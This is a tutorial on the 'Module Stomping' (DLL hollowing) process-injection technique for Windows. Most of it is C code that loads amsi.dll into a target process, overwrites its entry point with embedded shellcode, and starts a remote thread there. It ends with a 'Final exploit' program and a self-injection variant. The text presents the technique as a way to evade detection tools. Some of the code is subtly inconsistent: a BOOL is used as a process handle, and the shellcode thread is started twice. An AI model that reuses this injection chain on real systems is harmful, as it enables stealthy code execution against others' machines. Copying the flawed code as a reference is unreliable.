Module Stomping
Table of content
Overview
Inject a legit
DLL
and stomp its base address to launch a malicious shellcode
Module Stomping
also knows as DLL Hollowing
is another technique used to inject shellcode in memory. It can also be used to inject full DLL
. However, the injected shellcode will appear to be injected as a valid standard DLL
.
Indeed, when a shellcode is injected in memory with a simple VirtualAllocEx
and WriteProcessMemory
it will appear as loaded from nowhere in ProcessHacker
or ProcessExplorer
:
The Module Stomping
technique aims to load the shellcode with a valid legit location such as amsi.dll
.
This technique avoids the use of RWX
memory page allocation in the target process. Moreover, the shellcode is loaded as a valid Windows DLL
so detection system will not see any weird loading location. Finally, the remote thread launched is associated to a legit Windows
module.
Hands on
- Inject some standard
Windows DLL
such asamsi.dll
oradvapi.dll
- Overwrite the loaded
DLL
's entry point address with the shellcode one- Starts a new thread at the loaded
DLL
's entry point
Inject the DLL
The DLL
can be injected with the following code.
The target process is opened using OpenProcess
. Then the DLL
path is injected in the process memory through VirtualAllocEx
and WriteProcessMemory
.
Finally, the DLL
is loaded in the process memory through the use of LoadLibrary
in a brand new thread.
#include <windows.h>
#include <stdio.h>
BOOL injectDLL(char *moduleToInject, DWORD processPID) {
// open the target process
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processPID);
// allocate the memory page to inject the DLL path
void* remoteBuffer = VirtualAllocEx(processHandle, NULL, strlen(moduleToInject) * sizeof(char), MEM_COMMIT, PAGE_READWRITE);
if (!remoteBuffer) {
return FALSE;
}
// inject the dll name
BOOL status = WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, strlen(moduleToInject) * sizeof(char), NULL);
if (!status) {
return FALSE;
}
// load the dll with LoadLibraryW
HMODULE kernel32 = GetModuleHandleA("Kernel32.dll");
if (!kernel32) {
return FALSE;
}
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(kernel32, "LoadLibraryA");
if (!threadRoutine) {
return FALSE;
}
HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
if (!dllThread) {
return FALSE;
}
WaitForSingleObject(dllThread, 1000);
return TRUE;
}
int main()
{
DWORD processPID = 30436;
char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
injectDLL(moduleToInject, processPID);
return 0;
}
Find the DLL load address
In order to retrieve the DLL
load address, it is possible to enumerate the process loaded modules through EnumProcessModules
.
Then, each modules base address is resolved using GetModuleBaseNameA
.
DWORD64 getDLLBaseAddress(HANDLE processHandle, char *dllName) {
HMODULE modules[1024];
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
SIZE_T modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
HMODULE remoteModule = modules[i];
CHAR remoteModuleName[128];
GetModuleBaseNameA(
processHandle,
remoteModule,
remoteModuleName,
sizeof(remoteModuleName)
);
if (_stricmp(remoteModuleName, dllName) == 0) {
return modules[i];
}
}
return NULL;
}
Find the DLL entrypoint address
The DLL
entrypoint address can be found in the DLL
header. Thus, the DLL
header is retrieved through ReadProcessMemory
and the DLL
base address found before. Then, the value read is casted into IMAGE_DOS_HEADER
to access to the IMAGE_NT_HEADERS
and finally the OptionalHeader.AddressOfEntryPoint
which is the DLL
entrypoint RVA
.
DWORD64 getDLLEntryPointAddress(HANDLE processHandle, DWORD64 baseAddress) {
void* buffer = calloc(0x1000, sizeof(char));
if (!buffer) {
return NULL;
}
DWORD bufferSize = 0x1000;
ReadProcessMemory(processHandle, (PVOID)baseAddress, buffer, bufferSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)buffer + dosHeader->e_lfanew);
return ntHeader->OptionalHeader.AddressOfEntryPoint + baseAddress;
}
Write and launch the shellcode
The shellcode is written at the DLL
entry point address with WriteProcessMemory
and a thread is relaunched:
SIZE_T writeShellcode(
HANDLE processHandle,
DWORD64 entrypointAddress,
unsigned char* shellcode,
SIZE_T shellcodeLen) {
SIZE_T writtenBytes;
WriteProcessMemory(
processHandle,
(PVOID)entrypointAddress,
(LPCVOID)shellcode,
shellcodeLen,
&writtenBytes);
CreateRemoteThread(
processHandle,
NULL,
0,
(PTHREAD_START_ROUTINE)entrypointAddress,
NULL,
0,
NULL
);
return writtenBytes;
}
Final exploit
int main()
{
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x43\x3a\x5c"
"\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33"
"\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
DWORD processPID = 21204;
char moduleToInject[] = "C:\\windows\\system32\\amsi.dll";
HANDLE processHandle = injectDLL(moduleToInject, processPID);
if (!processHandle) {
printf("[x] Cannot load library\n");
return -1;
}
DWORD64 baseAddress = getDLLBaseAddress(processHandle, "amsi.dll");
if (!baseAddress) {
printf("[x] Cannot retrieve DLL base address\n");
return -1;
}
printf("[+] DLL load at : 0x%llX\n", baseAddress);
DWORD64 entrypointAddress = getDLLEntryPointAddress(processHandle, baseAddress);
if (!entrypointAddress) {
printf("[x] Cannot retrieve the entrypoint address\n");
return -1;
}
printf("[+] DLL entrypoint at : 0x%llX\n", entrypointAddress);
SIZE_T writtenBytes = writeShellcode(processHandle, entrypointAddress, buf, sizeof(buf));
printf("[+] %lld bytes written\n", writtenBytes);
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)entrypointAddress, NULL, 0, NULL);
return 0;
}
It is somewhat interesting to perform a self-injection instead of injecting in another process. Indeed, performing a self-injection avoid the use of CreateRemotThread
.
If a self-injection is performed, the shellcode can be launched with the following line:
((void(*)())entrypointAddress)();